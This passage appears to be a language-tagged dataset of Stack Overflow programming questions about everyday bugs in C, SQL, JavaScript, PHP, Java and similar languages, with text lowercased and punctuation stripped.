name:cname];                 [categories addobject:category];                 [categories release];             }       }         // release the compiled statement from memory         sqlite3_finalize(compiledstatement);      }     sqlite3_close(database); </code></pre>   the log shows only:  get .  test  isn t there.    i hope someone can help me.,objective-c
indexof method on an array in javascript <pre><code>var y = [1 2 3]; (y.indexof(1) &gt; -1)   console.log(true) :   ;  </code></pre>   why above code don t work  i thought it s possible to check 1 in y which is an array,javascript
initilize constructor of class from another class  i have class a with constructor a(int a)    <strong>a.h</strong>   <pre><code>calss a{   public :  a(int a); } </code></pre>   <strong>a.cpp</strong>   <pre><code>#include  a.h  #include &lt;iostream&gt; a::a(int a) {     std::cout&lt;&lt;a&lt;&lt;end; } </code></pre>   i need to initialize this class from another class b     i tried    <strong>b.h</strong>   <pre><code>class b{    public :  b();             a tmp;             //a tmp(4); //this  giving syntax error           }  </code></pre>   and    <strong>b.cpp</strong>   <pre><code> b(){      tmp = a(4); } </code></pre>   but i am getting compiler error  <code>error: no matching function for call to  a::a() </code>,c++
can i fork the output streams of a process i m starting  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7367664/redirect-but-also-display-process-output-stream >redirect but also display process output stream</a>    </blockquote>    <pre><code> var startinfo=new processstartinfo(java  servermemoryarguments +   -jar \   + latestbukkit.info.name +  \  )          { workingdirectory = latestbukkit.info.directoryname            redirectstandarderror=true         // redirectstandardoutput=true          useshellexecute = false           //createnowindow=true           errordialog = true            errordialogparenthandle=this.handle           }; </code></pre>   i want to fork the output  not just redirect it... i want to listen and have it show in the normal window.    can i,.net
can jquery event which value be changed   i would like to change the default behavior on my <strong></strong> elements:   <pre><code>$( form input ).keypress(function (e) {   if (e.which == 13) { // enter key     e.settempdefault(9); // tab key     // e.preventdefault();   } }); </code></pre>   obviously  <code>settempdefault</code> does not exist.    all i can find is <code>e.preventdefault();</code>,jquery
my variable keeps changing its value to 3435973836  whenever i run my code the variable bookcost changes itself to the value: 3435973836 .    it does this after it reaches the processingdata function. i do not  know why it keeps doing this! i have already written this program without functions and it worked fine :( this is my second programming class  it is online and there is almost no support from the professor.   <pre><code>#include &lt;stdio.h&gt;  void inputdata(int* inputs int* booknmbr  int* nmbrpurchased  int* bookcost); void processingdata(int bookcost  int nmbrpurchased  int totalpurch  int costaccu); void outputinfo(int booknmbr  int nmbrpurchased  int bookcost  int* total);      int bookcounter = 0;     int totalpurch = 0;     int costaccu = 0;     int totalcostaccu = 0;   int main ()  {     int booknmbr;     int nmbrpurchased;     int bookcost;      int bookcounter = 0;     int cyclerun;     int total;     int inputs;      printf( run program  1 for yes or -1 for no \n ); // ask user to input product name     scanf( %d   &amp;cyclerun);     while (cyclerun != -1)      {          inputdata(&amp;inputs  &amp;booknmbr  &amp;nmbrpurchased  &amp;bookcost);         processingdata(bookcost  nmbrpurchased  totalpurch  costaccu);         outputinfo(booknmbr  nmbrpurchased  bookcost  &amp;total);          printf( run program  1 for yes or -1 for no \n ); // ask user to input product name         scanf( %d   &amp;cyclerun);     } }  void inputdata(int* inputs  int* booknmbr  int* nmbrpurchased  int* bookcost) {     printf(  \nenter the book product number \n  );     scanf( %d   &amp;booknmbr);      printf(  enter the number of books purchased \n  );     scanf( %d   &amp;nmbrpurchased);      printf(  enter the cost of the book purchased \n );     scanf( %d   &amp;bookcost);      printf(  test: %u\n   bookcost);      return; }  void processingdata(int bookcost  int nmbrpurchased  int totalpurch  int costaccu) {     int total;      printf(  test: %u\n   bookcost);      total = bookcost * nmbrpurchased;     totalpurch = totalpurch + nmbrpurchased;     costaccu = costaccu + bookcost;     totalcostaccu = totalcostaccu + (bookcost * nmbrpurchased);      printf(  test: %u\n   bookcost);      return; }  void outputinfo(int booknmbr  int nmbrpurchased  int bookcost  int* total) {     printf(  \nbook product number entered is: %u\n   booknmbr);     printf(  quantity of book purchased is: %u\n   nmbrpurchased);     printf(  cost of the book purchased is: %u\n   bookcost);     printf(  total cost of books is: $%u\n   total);      return; }  void outputsummary(int bookcounter  int totalpurch  int costaccu  int totalcostaccu) {     printf(  \n\nnumber of records processed = %u\n   bookcounter);     printf(  number of books purchased = %u\n   totalpurch);     printf(  cost of the books purchased = $%u\n   costaccu);     printf(  total cost for all book purchases = $%u\n   totalcostaccu);      return; } </code></pre>,c
c system() call fails with error  unterminated string   i have a small piece of c code which should run an awk command on my linux machine. however for the life of me it will not exec. the awk works if i directly run it in the terminal.    my current failed command   <pre><code>system( awk  { printf \ %d \n\   $12 }  results.dat | sort -n ); </code></pre>   it fails with    <pre><code>awk: { printf  %d  awk:          ^ unterminated string </code></pre>   how else do you escape the double quotes so that the command will run  also why does this fail  but when i replace the system call with a printf it will print,c
unable to get proper result using and operator  i was wondering what would be the proper query to get a list of the movies where actress x and y act in    <img src= https://i.stack.imgur.com/yezxo.png  alt= diagram >    my query(which doesn t work):   <pre><code>select m.movie_title from movie m  actress a  actress_movie am where m.movie_id = am.movie_id and am.actress_id = a.actress_id and a.actress_firstname =  jack  and a.actress_firstname =  kate  and a.actress_surname =  smith  and a.actress_surname =  connor  group by m.movie_title; </code></pre>,sql
if with yes or no status mysql query  i have 2 tables  the first table <code>or_f_table</code> data. the second table <code>or_table</code>   <pre><code>or_f_table f_id   | f_o_id  | f_u_id 1      |    19   |    1 2      |    5    |    2 3      |    19   |    2  or_table o_id  | o_name   4   |  test1   5   |  test2   19  |  oops2   20  |  oops3   select o.o_name  if ((select count(*)  from or_f_table as f  where f.f_u_id = 1 )  yes   no ) as follow_status from or_table as o   where o.o_name like  %oop%   </code></pre>   i want to do something like this result :-    <pre><code>o_name   |  follow_status oops2    |  yes oops3    |  no </code></pre>   i am getting result    <pre><code>o_name   |  follow_status oops2    |  yes oops3    |  yes </code></pre>   why doesn t it work  and how should i correct it,mysql
ios bug fix works locally but isn t working live  i worked on some bugs for an app and the fixes seemed to work fine on the simulators and physical devices i tested them on. now that the update has gone live though  i have reports from users saying the same bugs still exist. i downloaded the app from the app store instead of loading it from xcode and indeed the bugs are still there. has anyone one else ran into this issue  if so do you have any idea if it is a problem with xcode  ios  the app store  or something else     edit:    i ve done some more looking around about  .ipa . is it possible that the live  .ipa  is different from the one that was submitted,ios
invalid literal for int() with base 10:  63    i am running the following program and it produces the following failure. i think the logic is right. what is wrong    <pre><code>invalid literal for int() with base 10:  63    </code></pre>   code:   <pre><code>for i in range(length):     k=i+1     if (sample_text[i]  ==  r  and sample_text[k] ==  e  ):         itemp = i         itemp = itemp + 9          var =            finallist = []         while (sample_text[itemp] !=  ] ):             itemp = itemp + 1              while (sample_text[itemp] !=     or sample_text[itemp] !=  ] ):                 tempvar = sample_text[itemp]                 var = var + tempvar                 num = int(var)                 itemp = itemp + 1  </code></pre>,python
c# adding data to combo-box from ms access table  i am new to c# and am creating a test app to populate a combo-box from a table within an access database.  i want to be able to set this information on the fly.  as a tester  i have created a new form  added a single combo-box called  tbcalloutcome   and added the code.    however  it seems to populate the drop-down with  system.data.datarowview  in every row.    any ideas - thank you    <pre><code>    private void form1_load(object sender  eventargs e)     {         string query =  select [call outcome] from [dd call outcomes] where ((([show on list])=true)) order by [sort order] ;         oledbdataadapter dadapter = new oledbdataadapter(query  @ provider=microsoft.jet.oledb.4.0;data source= n:\\test\\dropdowns.mdb ;user id=admin; password=; );         datatable source = new datatable();         dadapter.fill(source);         tbcalloutcome.datasource = source;     } </code></pre>,c#
how to get navigation links in a row  i m trying to figure out how to get my links in a row at the top of my screen. for some reason the method i m using doesn t make that happen. what am i doing wrong    <pre><code>&lt;td&gt;     &lt;form method= link  action= www1.skysports.com/football/teams/realmadrid/…; &lt;input type= submit  value= fixtures &amp; updates &gt;&lt;/form&gt; &lt;/td&gt; </code></pre>,html
manipulating input checkbox  <code>input type= checkbox </code> will not uncheck or checked not unless if confirmed on dialog confirmation box.    here is the scenario  i have this table contained with records each row of record has an <code>enabled</code> column which will allow you to <code>checked</code> or <code>unchecked</code> a specific row record means(disable or enable an account record).     my problem is  when i click the <code>[input type= checkbox ]</code> it will auto check or sometimes when it is checked by default it will auto unchecked then the dialog appears for confirmation for enabling or disabling an account.    i want the checkbox to do nothing when i clicked it. it should only change after i confirm it on dialog box.    hi guys  sorry this us my code anyway. <a href= http://jsfiddle.net/5rexp/1/  rel= nofollow >http://jsfiddle.net/5rexp/1/</a> i hope you understand it. a jquery ui dialog should popup when you click the checkbox un column named enabled. thanks.,jquery
return null values last in an ordered set  i have a set of values in a temp table  which i want to use to populate three new columns (in the <code>max(case ... end)</code> statement below).     however  i find that sometimes column 1 (or both column 1 and column 2) will contain <code>null</code> values  even though column 3 has a value.     what i would like is for any <code>null</code> values to appear <em>after</em> other values  e.g.  col1 = value  col2 = value  col3 = <code>null</code>.     source code:   <pre><code> select       mc.id       mc.date       max(case when sv1.row_num = 1 and mc.date = sv1.date then sv1.[col] end) as col1      max(case when sv1.row_num = 2 and mc.date = sv1.date then sv1.[col] end) as col2      max(case when sv1.row_num = 3 and mc.date = sv1.date then sv1.[col] end) as col3 into #total7 from       #mytable3 as mc        join       (         select              #mytable3.*              row_number() over (partition by [id] order by [date]) as row_num         from #mytable3        )as sv1 on          mc.id = sv1.id  group by      mc.id      mc.date  select *  from #total7 order by id  date </code></pre>,sql
association loop returning all attributes of a model instead of just one  working with two models: casts and lessons. cast has many lessons and lesson belong to cast.    i m trying to loop the content of lessons within a cast view with:   <pre><code>  &lt;%= @cast.lessons.each do |lesson| %&gt;       &lt;%= lesson.title %&gt;   &lt;% end %&gt; </code></pre>   but the view returns/renders all the attributes of each lesson instead of just the title.,ruby-on-rails
python - remap the values according to date  i have 3 <code>tsv</code> files with different stock values on a slight different date. i need to compile all 3 stock values into 1 <code>tsv</code> file according to date. the problem is the 3 files have slight different date. for example     <pre><code>stock1: 23 july 2009 - 10.03 24 july 2009 - 10.07 25 july 2009 - (no value)  stock2: 23 july 2009 - (no value) 24 july 2009 - 3.07 25 july 2009 - 3.10  stock3: 23 july 2009 - 5.40 24 july 2009 - (no value) 25 july 2009 - 5.10 </code></pre>   as you can see  there are sometimes no value available. i want to make it into:   <pre><code>compiledstocks: date:          stock1       stock2       stock3  23 july 2009 - 10.03        (no value)   5.40 24 july 2009 - 10.07        3.07         (no value) 25 july 2009 - (no value)   3.10         5.10 </code></pre>   what is the best way to loop through all 3 files with <code>python</code> and compile it into a single file,python
relative url in static html  i m creating a small document in html  that i will be sharing via email.    the document will have one jpg image  and it will rely on jquery to perform an animation on the image.    the html file  jpg file  and jquery (minimized) file are all contained in the same folder. <em>when i share  i d like to simply email this folder with its contents</em> (probably by zipping the folder).    <strong>how can urls within the html file be structured so that they point to the image and the jpg within the same folder as the html file itself  regardless of where that folder is placed in a folder structure </strong>    for example  in the current url (which needs to be changed) the hardcoded <code>src</code> for referencing jquery looks like this:   <pre><code>&lt;script src= file:///c:/users/me/documents/jquery/jquery-2.1.4.min.js &gt;&lt;/script&gt; </code></pre>   please note this is not a jquery-specific question  because the question is about how to structure my urls. i simply include jquery in the example to illustrate an existing url.,html
adding items on php shopping cart  if the same item was selected multiple time to be added to cart the code that i am working on below adds another line on the display table for shopping cart instead of just updating the quantity of the same item.    i hope to just update the quantity of the item and not display it again on the cart   <pre><code>&lt; php $total = 0;  &gt; &lt; php if(isset($_session[ cart ])){  &gt; &lt; php foreach($_session[ cart ] as $row):  &gt; &lt; php if($row[ qty ] != 0):  &gt; &lt;tr&gt;   &lt;td class= text-center &gt;&lt;strong&gt;&lt; php echo      $row[ product ]; &gt;&lt;/strong&gt;&lt;/td&gt;   &lt;td class= text-center &gt;     &lt; php echo $row[ price ]; &gt;   &lt;/td&gt;   &lt;td class= text-center &gt;     &lt;form action= cart/data.php q=updatecart&amp;id=&lt; php echo      $row[ proid ]; &gt;  method= post &gt;       &lt;input type= number  name= qty  value= &lt; php echo      $row[ qty ]; &gt;  min= 0  style= width:50px;  /&gt;       &lt;button type= submit  class= btn btn-info &gt;update&lt;/button&gt;     &lt;/form&gt;   &lt;/td&gt;   &lt; php $itotal = $row[ price ] * $row[ qty ];  &gt;   &lt;td class= text-center &gt;     &lt;font class= itotal &gt;       &lt; php      echo $itotal;  &gt;     &lt;/font&gt;   &lt;/td&gt;   &lt;td class= text-center &gt;&lt;a href= cart/data.php      q=removefromcart&amp;id=&lt; php echo $row[ proid ]; &gt; &gt;&lt;i class= fa fa-times-     circle fa-lg text-danger removeproduct &gt;&lt;/i&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt; php $total = $total + $itotal; &gt; &lt; php endif; &gt; &lt; php endforeach;  &gt; &lt; php $_session[ totalprice ] = isset($_session[ totalprice ])        $_session[ totalprice ] : $total;  &gt; </code></pre>,php
what is difference between trigger event and dispatch event   what is difference between trigger and dispatch event in programming. trigger is: generating event dispatch is catching it,javascript
css: rectangle side to round inside  how can i create the rounded side (not corner) to round inside  i ve thought about placing a white circle over it but then i figure there must be a cleaner way.    i tried this but it round outwards:   <pre><code>.box {     width: 30em; height: 10em;     border-radius: 0 0 50% 50% / 0 0 .75em .75em;      background: black; } </code></pre>   it should look like this:    <a href= https://i.stack.imgur.com/zez7q.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zez7q.jpg  alt= enter image description here ></a>,css
error after calling endturnwithnextparticipant on a gkturnbasedmatch in ios using game center  i corrected the leaderboard id in the new update of my ios turn based game and now i m getting this  has anyone seen this before  this is right after submitting my turn data by calling endturnwithnextparticipant.    it seems the server also can t match players against each other anymore but invites work fine. everything works fine in the simulator but not on the device.    even with the error the data gets submitted and the other player sees it and can play the entire game to the end but this error gets logged with every turn:    error domain=gkerrordomain code=3  the requested operation could not be completed due to an error communicating with the server.  userinfo=0xee64400 {nsunderlyingerror=0xee51590  the operation couldn‚äôt be completed. status = 5001  missing versions for adamid: 123456789 from bundleversion: 1.4 adamid: 123456789 game: tic tac toe unlimited free compatgames:null   nslocalizeddescription=the requested operation could not be completed due to an error communicating with the server.}    any ideas  thanks,ios
increasing the scope of object from local scope  i want to create an object using a method but i want it (object+reference) to live even after the method ends. example of code:   <pre><code>public class start{ public static void main (string [] args){   public void createobject(){     object1 createdobject = new object1();   }   createobject();   createdobject.dosomething();  } }  public class object1{    //code for object 1 } </code></pre>   so my main question is: how to create object using method and let it live even after method ends. the problem is that reference <code>createdobject</code> is popped of <code>stack</code> after method ends and therefore i can t use it anymore. is it even possible to create object for further use this way,java
how to get date in multiple tables in mysql database  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11829034/how-to-get-details-from-multiple-tables >how to get details from multiple tables </a>    </blockquote>     in mysql database have five tables   <pre><code>course  c_id         name     course_desc 101           java       sometext…..  user  u_id       firstname      address 201          ram               hyd  skillset  s_id     c_id     u_id    experience    course_content 301      101       201       2                          somtext…  timetable  t_id      c_id    u_id     date_time            class_duration(h) 401        101      201   2012-08-08              2  intrest  i_id        t_id      u_id 501         401       201 </code></pre>   my question is  i m passing start-date and end-date and name(coursename) then i want to get details like    <pre><code>name(coursename) course_desc firstname   select course.c_id course.course_desc user.firstname     from course course     inner join skillset skill on skill.course_id=course.c_id     inner join user user on user.c_id=skill.u_id     inner join timetable tt on skill.c_id=tt.u_id     where course.name= java      and tt.date_time between  2012-08-07 00:00:00  and  2012-08-20 00:00:00  </code></pre>   it is showing error.. please help me…. ...,mysql
session variable asp.net  how i can clean the session variable   which hold file path while load the asp page(addfiles.aspx)  first time only,asp.net
android loadimage from url having redirects issue  previously i have posted a question on loading images from a url in android. i noticed that for some urls it returns  error 404 .    it is due to url redirects. any idea how do i overcome this     the previous question and accepted answer can be found here: <a href= https://stackoverflow.com/questions/19394650/file-not-found-exception-when-displaying-image-from-a-url-in-android/19395710#19395710 >file not found exception when displaying image from a url in android</a>    is there any other way to work around the url redirects issue     thanks in advance,android
how do i display data in a uitableview cell from an nsdictionary   hi i received 2000 of datas from udp and display the values in tableview .what is the easiest method to do this      now i am using two nsthreads and one thread for receive data via udp and stores it in nsmutabledictionary.another thread update the tableview using these dictionary values. but it crashes my app.    here is some code i used     i stored received values like this   <pre><code> nsmutabledictionary *dictitem  customitem *item = [[customitem alloc]init];  item.sno =[nsstring stringwithformat:@ %d  sno];  item.time=currenttime;  [dictitem setobject:item forkey:[nsstring stringwithformat:@ %d  sno]];  [item release]; </code></pre>   delegate method i used and  i used customtablecells to display data as column vice.   <pre><code>- (nsinteger)numberofsectionsintableview:(uitableview *)tableview { return 1; </code></pre>   }   <pre><code>- (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section  {     return [dictitem count]; }    - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {  static nsstring *identifier = @ customtablecell ;     customtablecell *cell = (customtablecell *)[tableview dequeuereusablecellwithidentifier:identifier];     if (cell == nil)      {         cell = [[[customtablecell alloc]initwithstyle:uitableviewcellstyledefault reuseidentifier:identifier] autorelease];     }     nsarray *keys = [dictitem allkeys];     customitem *item = [dictitem objectforkey:[keys objectatindex:indexpath.row]];     cell.sno.text = item.sno;     cell.time.text  = item.time;     return cell; } </code></pre>   the errror is     terminating app due to uncaught exception  nsgenericexception   reason:  *** collection  was mutated while being enumerated.  2010-07-23 02:33:07.891 centrak[2034:207] stack: (     42162256      43320108      42161198      43372629      41719877      41719345      9948      3276988      3237662      3320232      3288478      71153942      71153189      71096786      71096114      71296742      41650770      41440069      41437352      51148957      51149154      2925426 ) terminate called after throwing an instance of  nsexception     can anyone help me      thanks in advance.......,iphone
sql: subtract two columns <pre><code>select content_type_code_id        abs(price) as price       sum(case when price &gt;= 0 then 1 else 0 end) as debits       sum(case when price &lt; 0 then 1 else 0 end) as credits from dbo.transaction_unrated   where transaction_date &gt;=  2012/05/01        and transaction_date &lt;  2012/06/01        and content_provider_code_id in (1) group by content_type_code_id  abs(price)  order by abs(price) asc   </code></pre>   the above query produces the following output:   <pre><code>content_type_code_id    price   debits  credits 1                      0.00      317    0 1                      0.99      178    1 1                      1.99      786    1 </code></pre>   but i want something like this:   <pre><code>content_type_code_id    price   debits  credits netcount     1                      0.00      317    0       317      1                      0.99      178    1       177      1                      1.99      786    1       785 </code></pre>   where netcount = (debits - credits)    when i try to create another column for that i get an error.,sql
getting a system.exception: application not licensed in my application  hi i am getting the following exception when entering a url    <pre><code>application: not licensed.  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.   exception details: system.exception: application: not licensed.  source error:    an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.   stack trace:    [exception: application: not licensed.]    application.application_beginrequest(object sender  eventargs e) +112    system.web.synceventexecutionstep.system.web.httpapplication.iexecutionstep.execute() +148    system.web.httpapplication.executestep(iexecutionstep step  boolean&amp; completedsynchronously) +75 </code></pre>   this is the url <a href= http://ticketsystem./home/confirmattendance/34915 vt=635xj1hoglsgwwalefakj3cm3uo%3d  rel= nofollow >http://ticketsystem./home/confirmattendance/34915 vt=635xj1hoglsgwwalefakj3cm3uo%3d</a>    even if the ticket or vt parameter is not valid  shouldn t they be getting a more specific exception like  id invalid or vt code invalid      what is this error   i have never seen it before.    please advise.    thanks,.net
placing a div over an image  i want to place a div over an image.  as of now i think i want it towards the top left of the image.  this needs to be compatible with views on different screen sizes so i don t think an absolute positioned div will work...  how can i do this  please help.,html
sending form s submit button s value   i was wondering if it is possible to place 2 submit buttons if send either of its information when click.    example:   <pre><code> &lt;form method= post  action= content/requests/index.cs.asp process=respondrequests  id= requestform &gt;         &lt;input type= hidden  name= requestid  value= &lt;%=objrequests( requestid )%&gt; &gt;            &lt;input type= hidden  name= byid  value= &lt;%=objrequests( byid )%&gt; &gt;            &lt;input type= hidden  name= toid  value= &lt;%=objrequests( toid )%&gt; &gt;            &lt;input type= submit  name= respond  value= confirm  class= btn_confirm  /&gt;         &lt;input type= button  name= respond  value= ignore  class= btn_ignore  /&gt;  &lt;/form&gt;   </code></pre>,html
what is meant by an object s  state  in javascript   here is the context in which it is being used:   <blockquote>     if all of the state of an object is private  then the object is   tamper-proof. properties of the object can be replaced or deleted  but   the integrity of the  bject is not compromised.   </blockquote>   this is from crockford s <em>javascript: the good parts</em>.,javascript
what is the explanation of output of given program  the output of following code is   <pre><code>2 1  3 1  4 1  5 1  6 1 7 0 </code></pre>   anyone can please explain    <pre><code>#include&lt;stdio.h&gt; int main() {     int x=1  y=1;     for(; y; printf( %d %d\n   x  y))     {         y = x++ &lt;= 5;     }     printf( \n );     return 0; } </code></pre>,c
good methods for converting char array buffers to strings   i am relatively new to c++.  recent assignments have required that i convert a multitude of char buffers (from structures/sockets  etc.) to strings.  i have been using variations on the following but they seem awkward.  is there a better way to do this kind of thing    <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  using std::string; using std::cout; using std::endl;   char* buffertocstring(char *buff  int buffsize  char *str) {     memset(str   \0   buffsize + 1);     return(strncpy(str  buff  buffsize)); }   string&amp; buffertostring(char* buffer  int bufflen  string&amp; str) {     char temp[bufflen];      memset(temp   \0   bufflen + 1);     strncpy(temp  buffer  bufflen);      return(str.assign(temp)); }    int main(int argc  char *argv[]) {    char buff[4] = { a    b    c    d };     char str[5];    string str2;     cout &lt;&lt; buffertocstring(buff  sizeof(buff)  str) &lt;&lt; endl;     cout &lt;&lt; buffertostring(buff  sizeof(buff)  str2) &lt;&lt; endl;  } </code></pre>,c++
how inject a service using angularjs 1.5 es6  i how to call a method from my service in my controller for a specific component like this   <pre><code>import template from  ./tech.html  import styles from  ./styles.mcss  import techservice from  ./techservice ;  class controller {    constructor(techservice) {     // css modules     techservice.consolelog();      this.styles = styles;   } }  export const tech = {   template    bindings: {     tech:  &lt;    }    controller: controller }; </code></pre>   this it not works where should i inject and how to inject techservice    this controller is a component of this module   <pre><code>import angular from  angular ;  import {tech} from  ./tech ; import {techs} from  ./techs ; export const techsmodule =  techs ;  angular   .module(techsmodule  [])   .component( fountaintech   tech)   .component( fountaintechs   techs); </code></pre>   and the root of my app is this   <pre><code>import angular from  angular ; import uirouter from  angular-ui-router ; import nganimate from  angular-animate  import ngtouch from  angular-touch  import uibootstrap from  angular-ui-bootstrap ;  import {componentsmodule} from  ./components ; import {commonmodule} from  ./common ; import {techsmodule} from  ./techs  import techservice from  ./techs/techservice ;  import routesconfig from  ./routes ;  import  ./index.scss ;   angular     .module( myapp   [         // dependencies         uirouter  nganimate  ngtouch  uibootstrap           // modules         componentsmodule          commonmodule          techsmodule     ])     .config(routesconfig); </code></pre>   i want to know where to inject and how my service techservice to call my method consolelog(),angularjs
using exception handling to eliminate irrelevant exceptions in subclass constructor  i m writing a class in java which is a subclass of another class i wrote  and its constructor explicitly calls the superclass s constructor. the constructor of the superclass may throw several types of exceptions when initialized directly  however when i initialize an instance of my subclass there are several exceptions that will never by thrown (by design).    i tried catching these exceptions in the subclass s constructor but i received an error stating that  constructor call must be the first statement in a constructor . why can t i catch these exceptions     for example  the code below:   <pre><code>public class persian_cat extends cat {      public persian_cat(file file) {         try{             super(file);         } catch(invalidargumentexception e) {         } catch(filenotfoundexception e) {         }     } } </code></pre>   marks the statement <code>super(file);</code> as the error.    how can i implement the subclass constructor so that it will know these exceptions are irrelevant  i need this because i don t wish to wrap this constructor in try{}...catch{} for every exception in my code later.,java
value in button   i have the value <code>{{data[0].pagecount}}</code>.    it displays a number and it works fine.    but it doesn t work when i do:   <pre><code>&lt;button  class= btn button-next  ng-disabled= currentpage &gt;= {{data[0].pagecount}}  ng-click= getpage(currentpage=currentpage+1) &gt; </code></pre>   any idea how to fix that     thanks!,angularjs
python comparing a file to load to a base file  i want to have a base file that i can use to compare what they give me to load. e.g the based file has name surname amount etc. the file can come as sue 200 anderson etc. without column names    how can i ensure that the given file has similar columns as per the base file      any one with a better thinking around this  please help.,python
if inside a for whats wrong with it  <pre><code>for(int i =0; i&lt;8;i++){   for(int j =0; j&lt;8;j++){     ratsuk.getnewtablero().getmesa(i j).setbackground(matrizcolor[i][j]);     if (ratsuk.getnewtablero().getmesa(i j).getbackground()==color.lightgray);     ratsuk.getnewtablero().getmesa(i j).setenabled(false);   } } </code></pre>   <code>ratsuk.getnewtablero().getmesa(i j)</code> is for calling an a jbutton 2d array that is inside newtablero and matrizcolor is a 2d array of colors of the same size.    when it runs this all the buttons in that array are disable not only the lightgray ones. can any 1 explain me why,java
load data infile date time in mysql results in zeros  can someone help me with this  my resulting table is showing only zeros for the timestamp. i tried changing the field type to datatime and timestamp but not luck    mysql   <pre><code>  load data local infile  vals.csv     into table vals   fields terminated by       lines terminated by  \n    ignore 1 lines   (@vartimest nominal name id val) set datetime = str_to_date(@vartimest  %d/%m/%y %h:%i:%s ); </code></pre>   csv file   <pre><code>datetime name id val  25/08/2016 02:00:00  tom cnum6 12  25/08/2016 02:00:00  charles cnum7 10.58  25/08/2016 02:00:00  donal cnum8 10.18  25/08/2016 02:00:00  duncan cnum7 10.31 </code></pre>   resulting table   <pre><code>datetime name id val 0000-00-00 00:00:00 tom cnum6 12 0000-00-00 00:00:00 charles cnum7 10.58 0000-00-00 00:00:00 donal cnum8 10.18 0000-00-00 00:00:00 duncan cnum7 10.31 </code></pre>,mysql
rails: how to redirect from home page and keep possibility to open it from navbar  how i can redirect logged users from home page and same time keep possibility to open home page by clicking it in the menu.    i using high_voltage gem and my pages controller looks like:   <pre><code>private  def redirect_logged_user   case params[:id]   when  home      if user_signed_in        redirect_to books_path     end   end end </code></pre>   so when user open <a href= http://example.com  rel= nofollow >http://example.com</a> and he is logged he will redirected to books page (<a href= http://example.com/books  rel= nofollow >http://example.com/books</a>)  but same time i need to keep possibility to open home page if user click  home  at the navigation bar.,ruby-on-rails
how to write this program   i have to write a program that reads a number and prints its factorial.  this is what i did:   <pre><code>#include &lt;iostream&gt;  using namespace std;  int main() {      int n  i  factorial;       cout &lt;&lt;  insert a positive n value  &lt;&lt; endl;      cin &gt;&gt; n;       factorial = n * (n - 1);       for (i = 1; i &lt;= n; i++)          factorial = factorial * 1;       cout &lt;&lt;  the factorial of  &lt;&lt; n &lt;&lt; is &lt;&lt; factorial &lt;&lt; endl;      return 0; } </code></pre>   but it doesn t work and i m desperate!!!,c++
present view on part of screen; disable surrounding views but keep them visible  when the user presses a button  a text view should pop up in the middle of the screen. two requirements:    1) whatever was displayed before should still be visible (except where covered by the text view or keyboard).    2) if the user taps outside the text view or keyboard  nothing should happen.    i thought that if i presented the text view in its own vc  that would address #2  because i think that s how modal presentations work. however  when i do this  even though i set the background of the text view s vc to transparent and tried reducing the frame  all i get is the text view surrounding by black. nothing is visible behind the presented vc.    edit:    it has come to my attention that apparently when you use a tab bar controller  that object does all of the presenting  no matter what vc actually sends the present message to itself. i am using a tab bar controller. maybe this is part of the issue and forecloses the option of using presentviewcontroller. so i need a different method!,ios
what are some good practices avoid mixing html with the dynamic contents  i know very little about programming but i came across and old script written in php that generates the pages the browser renders using something like    <pre><code>print stdhead( home ) . $htmlout . stdfoot(); </code></pre>   the <code>$htmlout</code>variable is being built by php dynamical then gets sent along with the footer and the header to the browser to render.  the problem with this way as i see it (from a novice point of view) is that the <code>$htmlout</code> variable is huge  contains loads of html tags  variable in length and components which makes understanding the script an impossible mission for beginners like myself.  the script has been written in 2009  i would expect that now-days there is way to separate html from the variables of the server-side language  which languages demonstrate such practices,html
hexstring & hexadecimal  can anyone tell me the difference between these two   looks similar but the output is different    <pre><code>    int b = 80 ;     int a = integer.parseint(  +b  16);     int c = integer.parseint(integer.tohexstring(b)); </code></pre>,java
how to start merged .net application   so  i use ilmerge to merge my .net assemblies to one. basically  the one .net application is the core  the console and the other .net application is a gui   the front-end. now  the gui calls up the console-application and passes the arguments to it. done. but now i merged my console-application into my gui application. how would i now call my console-application  which is now merged with the gui  in my gui application code,.net
how content appears like image  let say we have the following form code   <pre><code>&lt;form action= post  method= post  name= form &gt; your name :  &lt;input name= name  type= text  id= name &gt; &lt;input type= submit  name= submit  value= submit &gt; &lt;/form&gt; </code></pre>   what if i want it to be viewed as image    why ! in fact i ve text-area where i will put some html codes and i want the output of that code appears normally as web-browser view but as image   means no way to click on it or operate just appears as image    i do not know if it possible or not but i wonder it it can be and here is example for exactly how this forms i wants to appears    <img src= https://i.stack.imgur.com/5l71i.jpg  alt= http://i.imm.io/ajoy.jpeg | example for output of that code >    output of the html codes appears as image    so any method any help any function or class can do like this  !    thanks,html
what does 12px/13px do in css font declarations  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4080265/what-does-this-css-shorthand-font-syntax-mean >what does this css shorthand font syntax mean </a>    </blockquote>     i saw many people doing that:   <pre><code>body { font: bold 12px/13px arial  helvetica  sans-serif; } </code></pre>   what is this 12px/13px for,css
return to function instead of  0  or  variable    this is a theoretical question. to understand further how a return statement at the end of a function can be manipulated.    can we do like this:   <pre><code>int intialize1() {     ...do smth;     ...do smth;      return initialize2(); } </code></pre>   in other c file   <pre><code>int initialize2() {    ...do other thing;    ...do other thing;     return 0; } </code></pre>   is this a proper way to do like this,c
